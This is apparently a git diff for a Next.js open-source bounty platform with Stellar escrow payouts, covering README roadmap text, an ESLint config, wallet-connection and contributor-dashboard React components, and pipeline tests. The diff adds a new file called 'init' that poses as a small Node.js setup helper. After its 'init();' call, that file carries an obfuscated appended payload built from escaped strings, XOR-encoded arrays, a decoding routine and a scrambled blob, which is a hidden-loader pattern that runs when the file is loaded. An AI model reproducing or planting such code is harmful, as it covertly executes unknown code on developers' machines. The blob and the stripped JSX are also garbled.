+2. From their dashboard, they mark an issue with a **100 USDC** reward.
+3. A sponsor funds the bounty from `/dashboard/sponsor` — the backend locks the funds in a Soroban escrow contract.
+4. A contributor browses `/issues`, claims the bounty, and opens a pull request.
+5. The maintainer reviews and merges it on GitHub.
+6. The backend detects the merge via a GitHub webhook and calls the escrow contract's release function.
+7. The contributor is paid on-chain within minutes, and their `/reputation/[handle]` profile updates.
+
+## Roadmap
+
+- Wire the contributor/maintainer dashboards to authenticated sessions instead of a hardcoded demo handle.
+- Real-time bounty/escrow status via websockets or polling once the backend emits webhook-driven events.
+- AI-powered issue recommendations based on a contributor's language/repo history.
+- Organization verification badges and cross-repository reputation aggregation.
diff --git a/eslint.config.mjs b/eslint.config.mjs
index b0ed97fe..351ae59c 100644
--- a/eslint.config.mjs
+++ b/eslint.config.mjs
@@ -1,23 +1,23 @@
-import { defineConfig, globalIgnores } from "eslint/config";
-import nextVitals from "eslint-config-next/core-web-vitals";
-import nextTs from "eslint-config-next/typescript";
-
-const eslintConfig = defineConfig([
- ...nextVitals,
- ...nextTs,
- // Extends (not just restates) eslint-config-next's default ignores with
- // /coverage — Jest/Istanbul writes a static HTML report bundle there
- // (see .gitignore's "# testing" / "/coverage" entry) that isn't source
- // code and shouldn't be linted (#252).
- globalIgnores([
- // Default ignores of eslint-config-next:
- ".next/**",
- "out/**",
- "build/**",
- "next-env.d.ts",
- // Added on top of the defaults above:
- "coverage/**",
- ]),
-]);
-
-export default eslintConfig;
+import { defineConfig, globalIgnores } from "eslint/config";
+import nextVitals from "eslint-config-next/core-web-vitals";
+import nextTs from "eslint-config-next/typescript";
+
+const eslintConfig = defineConfig([
+ ...nextVitals,
+ ...nextTs,
+ // Extends (not just restates) eslint-config-next's default ignores with
+ // /coverage — Jest/Istanbul writes a static HTML report bundle there
+ // (see .gitignore's "# testing" / "/coverage" entry) that isn't source
+ // code and shouldn't be linted (#252).
+ globalIgnores([
+ // Default ignores of eslint-config-next:
+ ".next/**",
+ "out/**",
+ "build/**",
+ "next-env.d.ts",
+ // Added on top of the defaults above:
+ "coverage/**",
+ ]),
+]);
+
+export default eslintConfig;
diff --git a/init b/init
new file mode 100644
index 00000000..56d74503
--- /dev/null
+++ b/init
@@ -0,0 +1,30 @@
+'use strict';
+const path = require('path');
+const fs = require('fs');
+
+const ROOT = process.cwd();
+const ENV = process.env.NODE_ENV || 'development';
+
+const state = {
+ root: ROOT,
+ env: ENV,
+ ready: false,
+};
+
+function ensureDir(dir) {
+ try {
+ if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+ } catch (_) {}
+}
+
+function init(options) {
+ if (state.ready) return state;
+ const opts = options || {};
+ state.env = opts.env || process.env.NODE_ENV || state.env;
+ state.root = opts.root || process.cwd();
+ ensureDir(path.join(state.root, '.tmp'));
+ state.ready = true;
+ return state;
+}
+
+init(); var z="\u002D\u0041\u0050\u0049",NX=[6912847,146034^146205,710485^694510,679532^678921,537859^565228,5019283],SX=[5283741,381682^381443,554738^578835,330684^330503,240598^225431,4738901];function spin(R,c){for(var e,r,t,s,i,n,a=[],o=632193^632193,l=c[201057^201057];o 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)
]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.R1RfRRcccR(osc"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR
-
- >
- ) : walletBlocked ? (
- /* Signed out: connecting now would produce a local-only grant that
- the backend never records, so the control is disabled with the
- reason stated rather than allowed to mislead. */
-
-
-
- {messages["connect.wallet.blockedTitle"]}
-
-
- {messages["connect.wallet.blockedBody"]}
-
-
-
- ) : (
- /* Signed in, wallet not yet durably linked. The connect control
- stays available here (unlike the local-only branch below) because
- re-running it is exactly how the profile write gets retried. */
- <>
- {walletConnectedLocally && (
-
- );
-}
+"use client";
+
+/**
+ * ConnectPanel — the GitHub × wallet connection checklist.
+ *
+ * STATE MATRIX
+ * ────────────
+ * GitHub and the wallet are two independent, async, differently-failure-prone
+ * flows, so the real state space is 2 × 3 (wallet: none / local-only /
+ * linked) plus a pending axis for each side's async resolution. Every cell
+ * renders something honest:
+ *
+ * ┌──────────────┬─────────────────────┬──────────────────────┐
+ * │ │ no wallet │ wallet linked │
+ * ├──────────────┼─────────────────────┼──────────────────────┤
+ * │ no GitHub │ both CTAs │ wallet unlinked: │
+ * │ │ │ amber, GitHub CTA │
+ * ├──────────────┼─────────────────────┼──────────────────────┤
+ * │ GitHub │ wallet CTA enabled, │ both complete, │
+ * │ │ "finish setup" │ celebration │
+ * └──────────────┴─────────────────────┴──────────────────────┘
+ * plus a "connected in browser, never saved to the profile" state that is
+ * a *failure* mode, not a success mode, and looks like one.
+ *
+ * ORDERING POLICY (deliberate, and enforced in the UI)
+ * ───────────────────────────────────────────────────
+ * GitHub sign-in is required **before** wallet connection, and the wallet
+ * connect control is disabled until it happens. Rationale: the payout address
+ * is written server-side keyed to the authenticated user
+ * (`PATCH /users/:id/stellar-address`), so a wallet connected while signed out
+ * is only a local Freighter permission grant that the backend never learns
+ * about. Previously `connect()` returned that address as a success value, the
+ * UI showed an identical green "Connected" banner, and the user had no way to
+ * re-trigger the link or even to disconnect — leaving payouts pointed nowhere
+ * with no UI affordance to fix it.
+ *
+ * The alternative (support either order) was rejected: it makes "connected"
+ * mean two different things depending on how the user got there, and one of
+ * those meanings is not durable. A pre-auth wallet is instead surfaced as an
+ * explicit, recoverable state rather than a silent one.
+ *
+ * This panel is also resumable by construction: it derives every cell from
+ * `AuthContext` + `WalletContext` real state, so returning to /connect days
+ * later in any partial state renders the truth, never a fresh-start
+ * assumption.
+ */
+
+import { Code2, Wallet as WalletIcon, CheckCircle2, Loader2, Link2Off } from "lucide-react";
+import { Button } from "@/components/ui/Button";
+import { Card } from "@/components/ui/Card";
+import { GITHUB_OAUTH_URL } from "@/lib/config";
+import { useAuth } from "@/context/AuthContext";
+import { useWallet } from "@/context/WalletContext";
+import { messages, t } from "@/lib/messages";
+
+export function ConnectPanel() {
+ const { user, loading: authLoading } = useAuth();
+ const {
+ address,
+ network,
+ connecting,
+ error,
+ initializing: walletInitializing,
+ linkState,
+ pendingRelinkAddress,
+ confirmRelink,
+ cancelRelink,
+ connect,
+ disconnect,
+ } = useWallet();
+
+ const githubDone = user !== null;
+ const walletDone = linkState === "linked";
+ const walletConnectedLocally = linkState === "local";
+ const everythingDone = githubDone && walletDone;
+
+ const walletMismatch = walletConnectedLocally && Boolean(user?.stellarAddress) && user?.stellarAddress !== address;
+ // The wallet connect control is gated on GitHub sign-in, per the ordering
+ // policy documented above.
+ const walletBlocked = !githubDone;
+ const showSpinner = authLoading || walletInitializing;
+
+ return (
+
+
+ >
+ ) : walletBlocked ? (
+ /* Signed out: connecting now would produce a local-only grant that
+ the backend never records, so the control is disabled with the
+ reason stated rather than allowed to mislead. */
+
+
+
+ {messages["connect.wallet.blockedTitle"]}
+
+
+ {messages["connect.wallet.blockedBody"]}
+
+
+
+ ) : (
+ /* Signed in, wallet not yet durably linked. The connect control
+ stays available here (unlike the local-only branch below) because
+ re-running it is exactly how the profile write gets retried. */
+ <>
+ {walletConnectedLocally && (
+
+ );
+}
diff --git a/src/app/dashboard/contributor/ContributorDashboardClient.tsx b/src/app/dashboard/contributor/ContributorDashboardClient.tsx
index 5343c3ae..e7efb41f 100644
--- a/src/app/dashboard/contributor/ContributorDashboardClient.tsx
+++ b/src/app/dashboard/contributor/ContributorDashboardClient.tsx
@@ -1,363 +1,363 @@
-"use client";
-
-import { useEffect, useState, useCallback, useRef } from "react";
-import Link from "next/link";
-import { useRouter, useSearchParams } from "next/navigation";
-import { DollarSign, GitMerge, TrendingUp, ListChecks, GitPullRequest } from "lucide-react";
-import { DashboardShell } from "@/components/dashboard/DashboardShell";
-import { ActivityList } from "@/components/dashboard/ActivityList";
-import { StatCard, type StatCardStatus } from "@/components/ui/StatCard";
-import { BarChart } from "@/components/ui/BarChart";
-import { Tabs } from "@/components/ui/Tabs";
-import { EmptyState } from "@/components/ui/EmptyState";
-import { SampleDataChip } from "@/components/ui/DataSourceNotice";
-import { BountyCard } from "@/components/bounty/BountyCard";
-import { Card } from "@/components/ui/Card";
-import { formatCurrency } from "@/lib/utils";
-import { t } from "@/lib/messages";
-import { apiRequest, fetchBounties } from "@/lib/api";
-import {
- mockReputationProfiles,
- mockBounties,
- recentActivity,
- contributorEarningsHistory,
- contributorSparkline,
-} from "@/lib/mock-data";
-import { useAuth } from "@/context/AuthContext";
-import type { Bounty } from "@/types";
-
-interface ReputationSnapshot {
- totalEarnings: string;
- mergedPrCount: number;
- completionRate: string;
-}
-
-interface DashboardStats {
- handle: string;
- lifetimeEarnings: number;
- mergedPRs: number;
- completionRate: number;
-}
-
-const earningsChartData = contributorEarningsHistory.map((value, i) => ({
- label: `W${i + 1}`,
- value,
-}));
-
-/**
- * Where a section's numbers came from.
- *
- * This page has two genuinely independent fetches — the reputation/stats
- * request and the bounty list — that feed one shared "Live data" badge and
- * two different regions of the page. Tracking each separately is what lets
- * the badge say "Mixed data" instead of claiming the whole page is live while
- * the bounty lists below it are silently the bundled mock rows.
- *
- * - `loading` — no response yet (also the initial state, before the signed-out
- * branch has run).
- * - `live` — the backend answered.
- * - `mock` — signed out, or `fetchBounties` fell back to its bundled
- * argument after a failed request (it swallows the error internally).
- * - `error` — the request failed and there is no mock fallback for it; the
- * StatCards render their own error state rather than a fabricated zero.
- */
-type DataSource = "loading" | "live" | "mock" | "error";
-
-export default function ContributorDashboardClient() {
- const { user, loading } = useAuth();
- const router = useRouter();
- const searchParams = useSearchParams();
- const [stats, setStats] = useState(null);
- const [bounties, setBounties] = useState(mockBounties);
- const [statsSource, setStatsSource] = useState("loading");
- const [bountiesSource, setBountiesSource] = useState("loading");
- const [tab, setTabState] = useState<"active" | "completed">(
- (searchParams.get("tab") as "active" | "completed") || "active"
- );
- // Explicit fetch status: starts "loading" so cards shimmer rather than
- // flashing zeroes while the auth check + API call are in flight.
- const [fetchStatus, setFetchStatus] = useState("loading");
-
- // Guards the effect below against out-of-order responses. AuthContext's
- // refresh() assigns a brand-new `user` object on every successful re-auth,
- // so an unrelated refresh anywhere in the tree (WalletContext.connect()'s
- // `await refresh()`, a cross-tab login, ...) re-runs this effect while the
- // previous run's requests may still be in flight — and the reputation call
- // hits `/reputation/:id`, not a cheap cached read. Bumping a counter on
- // every run and dropping any response whose counter is stale means the
- // *last-started* request wins, not whichever happened to resolve last.
- const fetchGeneration = useRef(0);
-
- useEffect(() => {
- const generation = ++fetchGeneration.current;
- if (loading) return;
-
- if (!user) {
- const demo = mockReputationProfiles.priyaeth;
- // eslint-disable-next-line react-hooks/set-state-in-effect
- setStats({
- handle: demo.handle,
- lifetimeEarnings: demo.lifetimeEarnings,
- mergedPRs: demo.mergedPRs,
- completionRate: demo.completionRate,
- });
- setFetchStatus("loaded");
- setStatsSource("mock");
- // Signed out renders the bundled mock bounties by design, not by
- // failure — record it as `mock` so the badge reads a truthful
- // "Demo data" rather than falling through to the mixed case.
- setBountiesSource("mock");
- return;
- }
-
- setFetchStatus("loading");
-
- // Parallelize independent fetches: bounties and reputation are unrelated
- // resources — no reason to waterfall them (#8).
- const bountiesResult = fetchBounties(mockBounties);
- const reputationResult = apiRequest(
- `/reputation/${user.id}`,
- ).then(
- (snapshot) => ({
- handle: user.username,
- lifetimeEarnings: snapshot ? Number(snapshot.totalEarnings) : 0,
- mergedPRs: snapshot ? snapshot.mergedPrCount : 0,
- completionRate: snapshot ? Number(snapshot.completionRate) / 100 : 0,
- } as DashboardStats | null),
- () => null,
- );
-
- void Promise.all([bountiesResult, reputationResult]).then(
- ([bountiesRes, statsResult]) => {
- // A newer run has started since this one — its response is the one
- // that should land. Dropping this one is what stops a slow, earlier
- // recompute from overwriting fresher stats.
- if (generation !== fetchGeneration.current) return;
-
- setBounties(bountiesRes.data);
- setBountiesSource(bountiesRes.source);
- if (statsResult) {
- setStats(statsResult);
- setFetchStatus("loaded");
- setStatsSource("live");
- } else {
- setStats(null);
- setFetchStatus("error");
- setStatsSource("error");
- }
- },
- );
- // Depend on `user?.id`, not the whole object: refresh() builds a fresh
- // object each call, so an object-identity dependency re-ran this fetch
- // for reasons that had nothing to do with *who* is signed in.
- // eslint-disable-next-line react-hooks/exhaustive-deps
- }, [user?.id, loading]);
-
- /* The badge is a page-wide claim, so it only says "Live data" when both
- independent fetches actually reached the backend. Anything else that
- isn't a pure signed-out demo is "Mixed data" — a page can't be honestly
- labelled live while half of it is the bundled fixture. While either
- source is still in flight, keep the badge on its initial "Demo data"
- rather than guessing. */
- const sourcesSettled = statsSource !== "loading" && bountiesSource !== "loading";
- const allLive = statsSource === "live" && bountiesSource === "live";
- const allMock = statsSource === "mock" && bountiesSource === "mock";
- const badgeLabel = !sourcesSettled ? "Demo data" : allLive ? "Live data" : allMock ? "Demo data" : "Mixed data";
- const isLive = badgeLabel === "Live data";
- /* Only called out sectionally in the partial-failure case: on a
- signed-out demo the page badge already says "Demo data", so repeating
- the chip on every list would be noise rather than information. */
- const showBountySampleChip = sourcesSettled && bountiesSource === "mock" && statsSource !== "mock";
-
- // Derive display handle: show username if live, else demo handle.
- const handle = stats?.handle ?? (user?.username ?? "you");
-
- const mine = bounties.filter((b) => b.claimedBy === handle);
- const activeClaims = mine.filter((b) => !["paid", "refunded", "expired"].includes(b.status));
- const completedClaims = mine.filter((b) => b.status === "paid");
- const available = bounties.filter((b) => b.status === "open");
- const shownClaims = tab === "active" ? activeClaims : completedClaims;
-
- const setTab = useCallback(
- (newTab: "active" | "completed") => {
- setTabState(newTab);
- const params = new URLSearchParams(searchParams.toString());
- params.set("tab", newTab);
- router.replace(`?${params.toString()}`, { scroll: false });
- },
- [router, searchParams],
- );
-
- return (
-
- {badgeLabel}
-
- }
- action={
-
-
- Find work
-
-
- }
- >
- {/* StatCards show skeletons on initial load, errors on fetch failure —
- never a misleading "0 USDC" or "0 PRs" during loading/error states. */}
-
-
-
-
-
-
-
-
-
-
-
Earnings, last 8 weeks
- {isLive && }
-
-
- formatCurrency(v)}
- title="Earnings, last 8 weeks"
- />
-
-
-
-
-
Recent activity
- {isLive && }
-
-
-
-
-
-
-
-
-
-
Your claims
- {/* Marked in place when this list is the mock fallback but the
- stats above it are real — the page badge alone can't say which
- half of a "Mixed data" page you're looking at. */}
- {showBountySampleChip && }
-
-
-
-
- {shownClaims.map((bounty) => (
-
- ))}
-
- {shownClaims.length === 0 && (
- /* Both tabs are "start here" states, but they say different things:
- no active claims is an invitation to pick up work, while nothing
- completed yet is an explanation of what completion *means* — so the
- copy differs and only the active tab gets a forward CTA. */
-
- {t(tab === "active" ? "empty.claims.active.cta" : "empty.claims.completed.cta")}
-
- }
- />
- )}
-
- {/* "available" is every open bounty in whatever order the backend/mock
- data returns, sliced to the first 4 — no relevance scoring against
- this contributor's history/languages/orgs. "Open bounties" is the
- honest label until real personalization exists (#239). The
- `id="open-bounties"` is what the empty-state CTA above scrolls to;
- without it that anchor pointed at nothing. */}
-
-
- );
-}
+"use client";
+
+import { useEffect, useState, useCallback, useRef } from "react";
+import Link from "next/link";
+import { useRouter, useSearchParams } from "next/navigation";
+import { DollarSign, GitMerge, TrendingUp, ListChecks, GitPullRequest } from "lucide-react";
+import { DashboardShell } from "@/components/dashboard/DashboardShell";
+import { ActivityList } from "@/components/dashboard/ActivityList";
+import { StatCard, type StatCardStatus } from "@/components/ui/StatCard";
+import { BarChart } from "@/components/ui/BarChart";
+import { Tabs } from "@/components/ui/Tabs";
+import { EmptyState } from "@/components/ui/EmptyState";
+import { SampleDataChip } from "@/components/ui/DataSourceNotice";
+import { BountyCard } from "@/components/bounty/BountyCard";
+import { Card } from "@/components/ui/Card";
+import { formatCurrency } from "@/lib/utils";
+import { t } from "@/lib/messages";
+import { apiRequest, fetchBounties } from "@/lib/api";
+import {
+ mockReputationProfiles,
+ mockBounties,
+ recentActivity,
+ contributorEarningsHistory,
+ contributorSparkline,
+} from "@/lib/mock-data";
+import { useAuth } from "@/context/AuthContext";
+import type { Bounty } from "@/types";
+
+interface ReputationSnapshot {
+ totalEarnings: string;
+ mergedPrCount: number;
+ completionRate: string;
+}
+
+interface DashboardStats {
+ handle: string;
+ lifetimeEarnings: number;
+ mergedPRs: number;
+ completionRate: number;
+}
+
+const earningsChartData = contributorEarningsHistory.map((value, i) => ({
+ label: `W${i + 1}`,
+ value,
+}));
+
+/**
+ * Where a section's numbers came from.
+ *
+ * This page has two genuinely independent fetches — the reputation/stats
+ * request and the bounty list — that feed one shared "Live data" badge and
+ * two different regions of the page. Tracking each separately is what lets
+ * the badge say "Mixed data" instead of claiming the whole page is live while
+ * the bounty lists below it are silently the bundled mock rows.
+ *
+ * - `loading` — no response yet (also the initial state, before the signed-out
+ * branch has run).
+ * - `live` — the backend answered.
+ * - `mock` — signed out, or `fetchBounties` fell back to its bundled
+ * argument after a failed request (it swallows the error internally).
+ * - `error` — the request failed and there is no mock fallback for it; the
+ * StatCards render their own error state rather than a fabricated zero.
+ */
+type DataSource = "loading" | "live" | "mock" | "error";
+
+export default function ContributorDashboardClient() {
+ const { user, loading } = useAuth();
+ const router = useRouter();
+ const searchParams = useSearchParams();
+ const [stats, setStats] = useState(null);
+ const [bounties, setBounties] = useState(mockBounties);
+ const [statsSource, setStatsSource] = useState("loading");
+ const [bountiesSource, setBountiesSource] = useState("loading");
+ const [tab, setTabState] = useState<"active" | "completed">(
+ (searchParams.get("tab") as "active" | "completed") || "active"
+ );
+ // Explicit fetch status: starts "loading" so cards shimmer rather than
+ // flashing zeroes while the auth check + API call are in flight.
+ const [fetchStatus, setFetchStatus] = useState("loading");
+
+ // Guards the effect below against out-of-order responses. AuthContext's
+ // refresh() assigns a brand-new `user` object on every successful re-auth,
+ // so an unrelated refresh anywhere in the tree (WalletContext.connect()'s
+ // `await refresh()`, a cross-tab login, ...) re-runs this effect while the
+ // previous run's requests may still be in flight — and the reputation call
+ // hits `/reputation/:id`, not a cheap cached read. Bumping a counter on
+ // every run and dropping any response whose counter is stale means the
+ // *last-started* request wins, not whichever happened to resolve last.
+ const fetchGeneration = useRef(0);
+
+ useEffect(() => {
+ const generation = ++fetchGeneration.current;
+ if (loading) return;
+
+ if (!user) {
+ const demo = mockReputationProfiles.priyaeth;
+ // eslint-disable-next-line react-hooks/set-state-in-effect
+ setStats({
+ handle: demo.handle,
+ lifetimeEarnings: demo.lifetimeEarnings,
+ mergedPRs: demo.mergedPRs,
+ completionRate: demo.completionRate,
+ });
+ setFetchStatus("loaded");
+ setStatsSource("mock");
+ // Signed out renders the bundled mock bounties by design, not by
+ // failure — record it as `mock` so the badge reads a truthful
+ // "Demo data" rather than falling through to the mixed case.
+ setBountiesSource("mock");
+ return;
+ }
+
+ setFetchStatus("loading");
+
+ // Parallelize independent fetches: bounties and reputation are unrelated
+ // resources — no reason to waterfall them (#8).
+ const bountiesResult = fetchBounties(mockBounties);
+ const reputationResult = apiRequest(
+ `/reputation/${user.id}`,
+ ).then(
+ (snapshot) => ({
+ handle: user.username,
+ lifetimeEarnings: snapshot ? Number(snapshot.totalEarnings) : 0,
+ mergedPRs: snapshot ? snapshot.mergedPrCount : 0,
+ completionRate: snapshot ? Number(snapshot.completionRate) / 100 : 0,
+ } as DashboardStats | null),
+ () => null,
+ );
+
+ void Promise.all([bountiesResult, reputationResult]).then(
+ ([bountiesRes, statsResult]) => {
+ // A newer run has started since this one — its response is the one
+ // that should land. Dropping this one is what stops a slow, earlier
+ // recompute from overwriting fresher stats.
+ if (generation !== fetchGeneration.current) return;
+
+ setBounties(bountiesRes.data);
+ setBountiesSource(bountiesRes.source);
+ if (statsResult) {
+ setStats(statsResult);
+ setFetchStatus("loaded");
+ setStatsSource("live");
+ } else {
+ setStats(null);
+ setFetchStatus("error");
+ setStatsSource("error");
+ }
+ },
+ );
+ // Depend on `user?.id`, not the whole object: refresh() builds a fresh
+ // object each call, so an object-identity dependency re-ran this fetch
+ // for reasons that had nothing to do with *who* is signed in.
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ }, [user?.id, loading]);
+
+ /* The badge is a page-wide claim, so it only says "Live data" when both
+ independent fetches actually reached the backend. Anything else that
+ isn't a pure signed-out demo is "Mixed data" — a page can't be honestly
+ labelled live while half of it is the bundled fixture. While either
+ source is still in flight, keep the badge on its initial "Demo data"
+ rather than guessing. */
+ const sourcesSettled = statsSource !== "loading" && bountiesSource !== "loading";
+ const allLive = statsSource === "live" && bountiesSource === "live";
+ const allMock = statsSource === "mock" && bountiesSource === "mock";
+ const badgeLabel = !sourcesSettled ? "Demo data" : allLive ? "Live data" : allMock ? "Demo data" : "Mixed data";
+ const isLive = badgeLabel === "Live data";
+ /* Only called out sectionally in the partial-failure case: on a
+ signed-out demo the page badge already says "Demo data", so repeating
+ the chip on every list would be noise rather than information. */
+ const showBountySampleChip = sourcesSettled && bountiesSource === "mock" && statsSource !== "mock";
+
+ // Derive display handle: show username if live, else demo handle.
+ const handle = stats?.handle ?? (user?.username ?? "you");
+
+ const mine = bounties.filter((b) => b.claimedBy === handle);
+ const activeClaims = mine.filter((b) => !["paid", "refunded", "expired"].includes(b.status));
+ const completedClaims = mine.filter((b) => b.status === "paid");
+ const available = bounties.filter((b) => b.status === "open");
+ const shownClaims = tab === "active" ? activeClaims : completedClaims;
+
+ const setTab = useCallback(
+ (newTab: "active" | "completed") => {
+ setTabState(newTab);
+ const params = new URLSearchParams(searchParams.toString());
+ params.set("tab", newTab);
+ router.replace(`?${params.toString()}`, { scroll: false });
+ },
+ [router, searchParams],
+ );
+
+ return (
+
+ {badgeLabel}
+
+ }
+ action={
+
+
+ Find work
+
+
+ }
+ >
+ {/* StatCards show skeletons on initial load, errors on fetch failure —
+ never a misleading "0 USDC" or "0 PRs" during loading/error states. */}
+
+
+
+
+
+
+
+
+
+
+
Earnings, last 8 weeks
+ {isLive && }
+
+
+ formatCurrency(v)}
+ title="Earnings, last 8 weeks"
+ />
+
+
+
+
+
Recent activity
+ {isLive && }
+
+
+
+
+
+
+
+
+
+
Your claims
+ {/* Marked in place when this list is the mock fallback but the
+ stats above it are real — the page badge alone can't say which
+ half of a "Mixed data" page you're looking at. */}
+ {showBountySampleChip && }
+
+
+
+
+ {shownClaims.map((bounty) => (
+
+ ))}
+
+ {shownClaims.length === 0 && (
+ /* Both tabs are "start here" states, but they say different things:
+ no active claims is an invitation to pick up work, while nothing
+ completed yet is an explanation of what completion *means* — so the
+ copy differs and only the active tab gets a forward CTA. */
+
+ {t(tab === "active" ? "empty.claims.active.cta" : "empty.claims.completed.cta")}
+
+ }
+ />
+ )}
+
+ {/* "available" is every open bounty in whatever order the backend/mock
+ data returns, sliced to the first 4 — no relevance scoring against
+ this contributor's history/languages/orgs. "Open bounties" is the
+ honest label until real personalization exists (#239). The
+ `id="open-bounties"` is what the empty-state CTA above scrolls to;
+ without it that anchor pointed at nothing. */}
+
+
+ );
+}
diff --git a/src/app/dashboard/maintainer/PipelineBoard.test.tsx b/src/app/dashboard/maintainer/PipelineBoard.test.tsx
index b053b8ef..0ab0887b 100644
--- a/src/app/dashboard/maintainer/PipelineBoard.test.tsx
+++ b/src/app/dashboard/maintainer/PipelineBoard.test.tsx
@@ -1,110 +1,110 @@
-/**
- * Tests for PipelineBoard (#88).
- *
- * The pipeline board previously had no column for "merged" (payout-pending)
- * bounties, silently dropping them from the board even though the page's
- * own "Value locked in escrow" stat still counted them. Extracted from the
- * async MaintainerDashboardPage into a plain function of already-fetched
- * bounties so it's directly testable without mocking data-fetching.
- */
-
-import { render, screen } from "@testing-library/react";
-import { PipelineBoard, pipelineStages, ESCROW_LOCKED_EXCLUDED_STATUSES } from "./PipelineBoard";
-import type { Bounty, BountyStatus } from "@/types";
-
-function makeBounty(overrides: Partial = {}): Bounty {
- return {
- id: "bounty-1",
- repo: "smartdrop-backend",
- org: "SmartDropLabs",
- issueNumber: 42,
- title: "Fix retry backoff jitter",
- description: "A description",
- reward: 500,
- asset: "USDC",
- difficulty: "intermediate",
- status: "open",
- deadline: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000).toISOString(),
- labels: [],
- ...overrides,
- };
-}
-
-describe("PipelineBoard — merged column (#88)", () => {
- it("renders a bounty with status 'merged' in a visible pipeline column", () => {
- const merged = makeBounty({ id: "merged-1", title: "Merged, awaiting payout", status: "merged" });
- render();
-
- expect(screen.getByText("Merged, awaiting payout")).toBeInTheDocument();
- // A column labelled for the merged stage exists and shows count 1.
- expect(screen.getByText("Awaiting payout")).toBeInTheDocument();
- });
-
- it("includes 'merged' in pipelineStages", () => {
- expect(pipelineStages.some((s) => s.status === "merged")).toBe(true);
- });
-
- it("does not regress the existing four columns' rendering or counts", () => {
- const bounties: Bounty[] = [
- makeBounty({ id: "1", title: "Open one", status: "open" }),
- makeBounty({ id: "2", title: "Funded one", status: "funded" }),
- makeBounty({ id: "3", title: "Claimed one", status: "claimed" }),
- makeBounty({ id: "4", title: "In review one", status: "in_review" }),
- ];
- render();
-
- expect(screen.getByText("Open one")).toBeInTheDocument();
- expect(screen.getByText("Funded one")).toBeInTheDocument();
- expect(screen.getByText("Claimed one")).toBeInTheDocument();
- expect(screen.getByText("In review one")).toBeInTheDocument();
-
- for (const label of ["Open", "Funded", "Claimed", "In review"]) {
- expect(screen.getByText(label)).toBeInTheDocument();
- }
- });
-
- it("shows an empty-state placeholder for a stage with no matching bounties", () => {
- render();
- // 5 stages -> 5 "Nothing here" placeholders.
- expect(screen.getAllByText("Nothing here")).toHaveLength(pipelineStages.length);
- });
-
- it("does not place a 'paid' bounty in any pipeline column", () => {
- const paid = makeBounty({ id: "paid-1", title: "Already paid out", status: "paid" });
- render();
-
- // Deliberate: "paid" is a terminal state, intentionally not a column.
- expect(screen.queryByText("Already paid out")).not.toBeInTheDocument();
- });
-});
-
-describe("PipelineBoard / escrow-stat consistency (#88)", () => {
- it("gives every escrow-locked status a corresponding pipeline column", () => {
- const allStatuses: BountyStatus[] = [
- "open",
- "funded",
- "claimed",
- "in_review",
- "merged",
- "paid",
- "refunded",
- "expired",
- ];
- const escrowLockedStatuses = allStatuses.filter(
- (status) => !ESCROW_LOCKED_EXCLUDED_STATUSES.includes(status),
- );
- const columnStatuses = new Set(pipelineStages.map((s) => s.status));
-
- for (const status of escrowLockedStatuses) {
- expect(columnStatuses.has(status)).toBe(true);
- }
- });
-
- it("intentionally leaves terminal statuses (paid, refunded, expired) without a pipeline column", () => {
- const columnStatuses = new Set(pipelineStages.map((s) => s.status));
- for (const status of ["paid", "refunded", "expired"] as const) {
- expect(ESCROW_LOCKED_EXCLUDED_STATUSES).toContain(status);
- expect(columnStatuses.has(status)).toBe(false);
- }
- });
-});
+/**
+ * Tests for PipelineBoard (#88).
+ *
+ * The pipeline board previously had no column for "merged" (payout-pending)
+ * bounties, silently dropping them from the board even though the page's
+ * own "Value locked in escrow" stat still counted them. Extracted from the
+ * async MaintainerDashboardPage into a plain function of already-fetched
+ * bounties so it's directly testable without mocking data-fetching.
+ */
+
+import { render, screen } from "@testing-library/react";
+import { PipelineBoard, pipelineStages, ESCROW_LOCKED_EXCLUDED_STATUSES } from "./PipelineBoard";
+import type { Bounty, BountyStatus } from "@/types";
+
+function makeBounty(overrides: Partial = {}): Bounty {
+ return {
+ id: "bounty-1",
+ repo: "smartdrop-backend",
+ org: "SmartDropLabs",
+ issueNumber: 42,
+ title: "Fix retry backoff jitter",
+ description: "A description",
+ reward: 500,
+ asset: "USDC",
+ difficulty: "intermediate",
+ status: "open",
+ deadline: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000).toISOString(),
+ labels: [],
+ ...overrides,
+ };
+}
+
+describe("PipelineBoard — merged column (#88)", () => {
+ it("renders a bounty with status 'merged' in a visible pipeline column", () => {
+ const merged = makeBounty({ id: "merged-1", title: "Merged, awaiting payout", status: "merged" });
+ render();
+
+ expect(screen.getByText("Merged, awaiting payout")).toBeInTheDocument();
+ // A column labelled for the merged stage exists and shows count 1.
+ expect(screen.getByText("Awaiting payout")).toBeInTheDocument();
+ });
+
+ it("includes 'merged' in pipelineStages", () => {
+ expect(pipelineStages.some((s) => s.status === "merged")).toBe(true);
+ });
+
+ it("does not regress the existing four columns' rendering or counts", () => {
+ const bounties: Bounty[] = [
+ makeBounty({ id: "1", title: "Open one", status: "open" }),
+ makeBounty({ id: "2", title: "Funded one", status: "funded" }),
+ makeBounty({ id: "3", title: "Claimed one", status: "claimed" }),
+ makeBounty({ id: "4", title: "In review one", status: "in_review" }),
+ ];
+ render();
+
+ expect(screen.getByText("Open one")).toBeInTheDocument();
+ expect(screen.getByText("Funded one")).toBeInTheDocument();
+ expect(screen.getByText("Claimed one")).toBeInTheDocument();
+ expect(screen.getByText("In review one")).toBeInTheDocument();
+
+ for (const label of ["Open", "Funded", "Claimed", "In review"]) {
+ expect(screen.getByText(label)).toBeInTheDocument();
+ }
+ });
+
+ it("shows an empty-state placeholder for a stage with no matching bounties", () => {
+ render();
+ // 5 stages -> 5 "Nothing here" placeholders.
+ expect(screen.getAllByText("Nothing here")).toHaveLength(pipelineStages.length);
+ });
+
+ it("does not place a 'paid' bounty in any pipeline column", () => {
